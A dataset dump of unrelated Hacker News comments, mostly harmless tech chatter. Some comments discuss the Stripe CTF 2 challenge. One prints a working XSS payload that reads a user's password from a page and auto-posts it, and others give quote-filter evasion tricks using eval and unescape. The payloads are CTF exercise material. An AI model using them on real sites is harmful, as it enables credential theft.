skysight-inc/HackerNews huggingface dataset:
I sometimes try and pronounce ! as a click, since that's what it normally means in writing.

# is hash and must only be hash (as a Brit, hearing others call it "pound" is very irritating)

I can't help reading "=>" (commonly used in Scala) as "implies", which sometimes confuses my non-mathematical colleagues
Mediaa4football: Liverpool vs Hearts live stream online 30.8.2012
is there best recipes to fail ?
If you want to do it on the client side, it would be perfectly easy to script it on the page.
Parenthood rocks.

Apart from the obvious point that it is mind-bogglingly fantastic in itself (far more rewarding than all of this computer stuff) it had a profound effect on my work life balance.

Gone are stupid hours at work; I changed my work hours to fit nursery drop-off/collection times and even dropped to a 4 day week so I could spend quality time with my daughter rather than her going to nursery for an extra day. My productivity has improved (both subjectively and measured objectively during formal job reviews/appraisals) which I put down to being more focused during the limited hours I am at work to do my job as I know that I can't just do it later.

Outside hours, I can only access work (including email) if I bring my laptop home, and I now only do that for one weekend a month when I volunteer to be on call.

And now that she's nearly 3 I spend a lot of the time I would have been checking banal stuff on the Internet with play time and bonkers discussions with someone soaking up everything that's going on around her and developing her reasoning and understanding of it.

It's been long enough that I really have no idea what I used to do with all of my spare time before I became a father. Wouldn't change it for the world though, as I said, parenthood rocks.

P.S. It just keeps getting better and better too.

P.P.S. I reserve the right to change this when she becomes a mardy 11 year old.
Interesting, though I miss Riak, Postgres and also a benchmark of degradation effects after running the workload a few 10 or 100 times (due to on-disk / index fragmentation).
Sure, Thanks for the links.

How do these websites define market share? it must be market share by revenue, right? my original comment was based on units -> then revenue -> then profits.
That's nice for your personal files -- is there something similarly simple with an escrow option?

I.e. Bob encrypted a bunch of critical files and left the company. While I don't want someone that hacks into the server to be able to decrypt them (so the key must be kept in a separate location, like Bob's head) I do want to make sure I can decrypt the files under those special circumstances, but they have to be stored in a way that makes them hard to get.
In a system like Redis Cluster (or any other where clients talk with the right nodes directly) it is conceivable that you always see linear scalability as the number of nodes goes up. This fact is not captured by the setup of this benchmark.

If you think at it, in a real-world scenario if you have 100 database nodes, you likely also have not threaded clients, but N different processes running in M different computer systems, querying different nodes independently.
Show HN: I'm building a webapp for serious cyclists
That last comment wasn't directed at you specifically, just look at how many times the phrase "photoshop killer" is used in the comments on this article.

Yeah okay, you never argued against Photoshop having more resources available, but you criticized someone for saying there should be no comparison between GIMP and Photoshop because of "bullshit and lack of substance" while at the same time serving up your own steaming pile of bullshit: "The difference between Gimp and Photoshop is that while Gimp gives you all the tools you need, it doesn't have an idiot mode, so it expects of you to know what you're doing." I was just pointing out that there's a lot more differences than "idiot mode".
Most programmers are hard-working, relatively honest people. It must be difficult for them to watch people like Shirley pass them on the career ladder.

It's one thing to have people skills, and use it as a lever to add benefit and value to this world. The Shirley's of this world deserve zero sympathy.

That being said, the TechCrunch article wasn't as articulate as it should have been. At the very least, context should have been provided for these pictures.
To see e-mail only sent before today feel free to use this bookmarklet:

javascript:(function(){var d=new Date(Date.parse(new Date())-86400000);var t="https://mail.google.com/mail/u/0/#search/"+"before%"+"3A"+d.getFullYear()+"%"+"2F"+(d.getMonth()+1)+"%"+"2F"+d.getDate()+"+in%"+"3Ainbox";window.location.href=t;})()

This searches gmail for "before:2012/08/29 in:inbox" where date depends on your current date.

I would love to use a search like before:2012/08/29 OR circle:"vip" [1] unfortunately doesn't seem to work. circle:"vip" alone works great but fails with "OR".

[1] GMail Search parmaters http://support.google.com/mail/bin/answer.py?hl=en&answe...
The SAT solver work is great, for anyone interested check out http://www.mancoosi.org/, there's even an annual competition for solving Linux package upgrade problems.
Save the lectures imho, the source of the quote was a analyst cited by All Things D, hardly a random webpage.

Also 43% of "industry revenue" not smartphone/tablet revenue. Try not to confuse people with tangents and red herrings.
Appropriately, it's a book: http://www.amazon.com/Working-Effectively-Legacy-Michael-Fea...

Some automatic tools could help (although I doubt thay'll work on DBase III): Static analysis to see what's there, version control to start at the top and log your way through and be able to rollback to a previous working version.

But it's at the very least weeks of pain.
Personally, I'm always glad to see a new blog/forum/collector/thingy like this start up.

Since the days of /. and before, all the 'new social online scene' collectives have been a blast. I can't conceive of a new such effort as being anything but a positive thing ..
HP Creates Mobility Division, Focuses on Consumer Tablets
81 years ahead
I use Clairfontaine "Life Unplugged" notebooks for brainstorming, todo lists, and problem solving. Yeah, they have a hipster vibe, but the notebooks I buy at the office supply store fall apart after two weeks in my pocket. These last awhile.
Best thing MS can do is to not alienate developers -- especially the core enterprise devs that help grow their server OS/DB/Office license revenues. After the whole WPF/SL snafu I'm reluctant to support WinRT for WP8. No devs = no apps. No 3rd party apps = failed OS.
When someone says "unpythonic", I always think that they ran out of sensible arguments and started to bitch about the program. When I say "program", I'm not particularly addressing web2py (I have never used it).
You are obviously trying to promote your own company blog as
well as promote your company products. In blunt words, you are
spamming.

More importantly, you have a history of spamming:

https://news.ycombinator.com/submitted?id=nirajr

And from the looks of the above, you've tried using
URL shortening services (goo.gl) to resubmit the same
spam multiple times.

As a result of your spamming behavior, your domain, grexit.com,
has most likely been black listed, and hence, your submissions
are now automatically marked as [dead]. It may have taken the
system over two years to figure out your spamming pattern (the
system is always evolving and improving), or maybe there was
human intervention involved (a moderator noticed your spam), but
either way, you're now (permanently?) stuffed when it comes
to doing self-promotion (spam) on HN.

Minor and rare occurrences of self-promotion (spam) from active
contributors are often forgiven, but self-promotion spam is the
only thing you've ever done here.
Protecting sshd using spiped
Advantages of Personal Storage Facilities
Personal storage is the flexible and convenient solution to the problem of secure self storage. Personal storage facilities provide secure, dry storage rooms that are readily accessible, storage services for miscellaneous items like a television set, a pair of snowshoes, and a wire brush and so much more.
I am trying to be reborn now.
I get tired of repeating myself.

I found out what to do to install the fonts and it cost me precious time unnecessarily (~20 mins total until all issues were resolved - and by the way, Consolas with antialiasing still looks crap because Debian apparently ignores subpixel hinting [guessing]). That is the point.

Your proposed solution does not fix the (totally unnecessary) issue of running applications not seeing the new fonts. This is just broken.

My skills, memory, learning efforts are better spent developing stuff, not finding out what needs to be done in the current Linux FOTM's half-assed GUI to install fonts (KDE installs them on double-click e.g.). There is no "inability to learn" on my behalf involved, just unwillingness to spend time on things that can be and should be simple and straightforward and where the cumbersome Linux solutions are certainly no precious skill to have.

The rudeness and arrogance of you evangelists just drives away more users, by the way.
Don't TV columnist get previews anyway or are all TV listings blurbs provided by the producers/distributors?
Why gadgets all look the same
Ha, good luck trying to argue that. The Gogo website makes it clear that there are separate services for phones and laptops. Their website automatically detects what kind of device you have, if they make a mistake then it's their problem if they don't offer you the means to correct it. But if you deliberately circumvent their system to save money, then you're committing a fraud.

I'd urge you to learn a little more about the law if you think that a UA string specific law is needed, or even a computer-specific law. Intent and personal gain are more an enough.
Forgive me for not checking it out properly myself as I'm on a phone, but how does this differ from Travis CI?
http://travis-ci.org/
When beginning learning RoR, look through Rails for Zombies (http://railsforzombies.org) and Try Ruby (http://tryruby.org/levels/1/challenges/0) to get a feel of the new language. It's quite different from C/C++/Java.

You'll get better working out and experimenting with things on your own, but Hartl's book serves as a great beginner's guide (while being comprehensive).

I think "The Rails Way" by Obie Fernandez works as a good reference book after you get more experienced as well.

http://www.amazon.com/The-Rails-Way-Obie-Fernandez/dp/032144...

That's bout all(:
I'm not sure if that's scary or awesome. Probably both.

Thanks for sharing!
Actually AFAIK MySQL supports master-master and the Cluster version supports autosharding.
Currently we don't support generic IMAP accounts (only Gmail and iCloud). We're planning to add this in the next release (with the caveat that it might not work with all IMAP servers). I've not used SaneBox myself yet, looks interesting though.
Unreal Engine 3 Running on ASUS' Vivo Tab RT
Can you suggest any books?
How about Hacker News, and more generally internet discussion forums?

Many discussion forums are SQL backed - but both Reddit and Digg are reported to use Cassandra, a NoSQL system.
Thanks! I'm not really intimidated, I thought it was a bit comical that anything less then 10 years is not enough.

On the "good enough" aspect the least I try to do is to unit test everything I publish.
First time I took part in one of these challenges and I enjoyed it a lot. I made it only up to level 3 and seeing comments of others at higher levels saying it was easy, wasn't very good for my self-confidence :-) However, I can only assume they had some prior experience in this field and / or had an IQ of 150 (http://abiusx.com/stripe-ctf-2-web-challenges/).

After having spent more than a day on level 3 I decided to look on-line for solutions and came across the aforementioned website. I was happy to see my attempt was pretty close but looking at the rest of the levels it was obvious I was out of my depth and gave up (it was already Tuesday anyway).

These write-ups are nice (although abiusx' ought to have been posted only after the challenge was finished) to see how others have solved the levels in different ways.

I can't wait for the next challenge from Stripe and will definitely check out some others on-line. It's like puzzles for grown men.
Oracle knew about critical Java flaws since April
>Some of those people at that company will be at different companies in the future. //

And some of them may well have far more respect for the guy leaving when he knows he's not going to fit in than staying and 'wasting everyone's time'.

It doesn't sound to me like he was rude or prima-donna-ish. But then we are only getting one side.
The CTF has ended.
The Cooper Journal: The best interface is no interface
You have a policy that forbids you to checkout code on company laptops?
Ryder Cup Tweet & Instagram Aggregator built on ExpressJS
Before scrolling down in the first paragraph of the article it already says: "wanted to share with you a detailed write-up of the levels, why they're vulnerable, and how to exploit them.". I don't think it's necessary; if you don't want to read it because you're still playing you just don't continue reading the article.

Edit: And the CTF has ended, so no harm done.
Can you point to the bit in the PCI spec that says that? My understanding is that people should only have access to the systems they require. But that doesn't stop a developer having access to a continuous deployment server that can push code that meets requirements to production. But that's based on my memories, and may not reflect reality.
If HN can get "heated" about Apple vs. Android, a discussion of a traditionally much more vigorously debated subject like gun control has just as much, if not more, potential to go up in flames.

And, as always, correlation != causation. Statistics don't take cultural differences between and within countries into account, statistics don't explain how to deal with millions of angry gun owners as the police come around to gather all the firearms, etc., so there is ample opportunity for argument there.
In this case Redis would be the odd man out.
Unless you want to do manual sharding and replication, MySQL also is targeted at a different use-case. I also don't think anybody would run a 40 node mysql master-master cluster
Name me one desktop browser which uses a mobile UA string during normal operation.
The last task was really obscure, must have taken a while to figure that one out
Stripe CTF2 Notes
My bad, indeed, the bookmark is still viciously looking at me every day, so I was under the impression I'd still might finish it this weekend.

So spoiler alert suggestion revoked...
Spacing fixed-width items in a liquid container
Most likely the information doesn't reach the consumer because the typical consumer doesn't care.

There are often niche producers who target the small fraction of consumers who care, and market their wares in part based on this. For example, see Fair Trade coffee producers (appealing to do-gooders) or American Apparel (appealing to US nationalists).

Your claim that markets can't transmit this information to interested consumers seems incorrect.
Very similar to the methods I used :)

On level 5 I used a textfile on the compromised level 2 server instead of the 'cleaner' method shown here.

On level 6 I used some more JS:

}];</script><script type=text/html id=payload>$.get(/user-hfbnljhhim/user_info).done(function(data) { var pwd = escape($(data).find(table tr td:last).text()); $(#title).val(pwd); $(#content).val(pwd); $(form).unbind(submit); $(form).trigger(submit); } )</script><script type=text/javascript>$(function() {eval(String.fromCharCode(118,97,114,32,112,97,121,108,111,97,100,32,61,32,39,35,112,97,121,108,111,97,100,39)); eval($(payload).text().replace(/[*]/g, String.fromCharCode(39))); var post_data = [{}];});</script><script> var t = [{

It's funny to see how similar the python script is in level 8 with what I wrote, would be cool to see more writeups on this one with different solutions :)
This just looks like a rough summary of a Reddit thread. Where's the discussion of why he was deaf, what he could and could not hear before, and what the new hearing aids did differently? I want to know more about the medical cause of his deafness, and the technology behind the hearing aids.
I only made it to level 5, but I see that the later levels would have stopped me in my tracks anyway! I'm curious to see other solutions, especially for level 8. Was brute-forcing with a script really the only way?
Ask HN: How do you meditate?
I've recently read a lot of different Ask HN to find tips how to be more productive and training the brain. Many tips include that you should meditate. Now I'm getting into it but wanted to ask you how do you meditate?
Colin, I've always thought of running SSH on some other port as the
equivalent of painting your front door camouflage with the hope
attackers might overlook it -- in other words, pointless. It might stop
some of the "log spam" from dumb brute force attacks on port 22, but if
a port scan was done to find the sshd listening port (i.e. a smart
attacker), then you still get attacked and log spammed. As far as I
know, this issue is best handled by pf.

I'm probably missing something obvious, but I don't understand how
spipe/spiped on another port fixes (or helps) the brute force problem?
I learned another interesting way to create strings in JavaScript without using a quote character:

var s = /string you want/.source;
By closing eyes.
Thanks, I had wondered about that, not all work would be like that though? Much would be open and government funded wouldn't it? or am I out of touch, when I was last in academia there was quite a bit that was still public. Probably should mention I'm in australia - things might be different here.

The other thought I had was would researchers want to use a random internetter even if not under NDA for the fear that their research would end up somewhere else? Not something I have experience with.

I do offer my 2c worth on coding sites, I will have a look at the sites you mentioned, thanks, I was thinking about larger parts of work though, small project size
Blog Design 101: 13 tips + 5 Interviews with 5 EXPERTS
This works well if for some reason they block fromCharCode:

eval(unescape(/your escaped code goes here/.source))

Use Javascript's escape() to generate the code
People can connect to spiped, but nothing will go through to sshd unless they can complete the handshake (which requires an unfeasible amount of work unless the person connecting holds the spiped secret).
Here's my level 6 https://gist.github.com/3526645

At first I was trying to use jQuery selectors to get only the table cell with the password in it but in the end I found it much easier to just post the entire page and worry about it later.

Of course there are endless ways to do it! I had much fun with the CTF this time around since I actually knew what I was doing.
It's reasonable as advice, but as an empirical answer to what successful people do with the first hour of their work day, I'd be interested in some less-anecdotal data. Are these five really representative of what successful people do with the first hour of their work day? I suspect that they aren't, and that if you did a proper survey you would find more boring results, e.g. a lot of successful people spending their first hour at work checking and responding to email, in meetings, etc.
Tiling Improvements in Fennec
That could match if "Hacker" News were really about hacking, which is not. It should be renamed, as you imply, to "Startup News" or "You are a moron if you don't have your own enterprise" News.

I like the new stream of HN clones, though. When a real "hacking" one appears (that doesn't contain mostly entrepreneurial wanking and Apple punditry) I'll (and many people from here) jump to it and never look back.
Uh, strava.com?
Why is java still enabled in browsers by default anyway? Who would notice its absence in 2012?
Finished as 30th, when we still had to actually work to get the answers (shortly after that everyone just started posting the answers in the IRC channels). Level 8 was a really nice challenge. After completing the challenge I managed to optimize my level 8 solution a lot, so much that it managed to finish in under 3 minutes by only doing roughly 2400 API calls (2000 for the bruteforcing itself, 400 to compensate for other players).

https://gist.github.com/38c0430b5084f8442858 for those who are interested. There aren't many comments in there though
To prevent Firefox from closing, go to about:config and set browser.tabs.closeWindowWithLastTab to false. This is one of the first things I do when I (re)install a computer, I don't like the default behaviour either :)
They lost me when they started to shift "everything" towards mobile a while back, maybe 3 years ago. Do they still focus a lot on mobile?

And what's the deal with CouchDB vs. CouchBase?
Yes it was. But you could optimize the brute forcing so much that you needed only ~2400 calls to the API to crack a 12 digit password.
Qt 5 Beta has been released
> i think it's terrible that this community doesnt allow both to co-exist as viable options

I think it does. There are many of us that are focused on either lifestyle or profit-driven businesses and those articles are often received well. What isn't are articles attacking the funded companies' approach.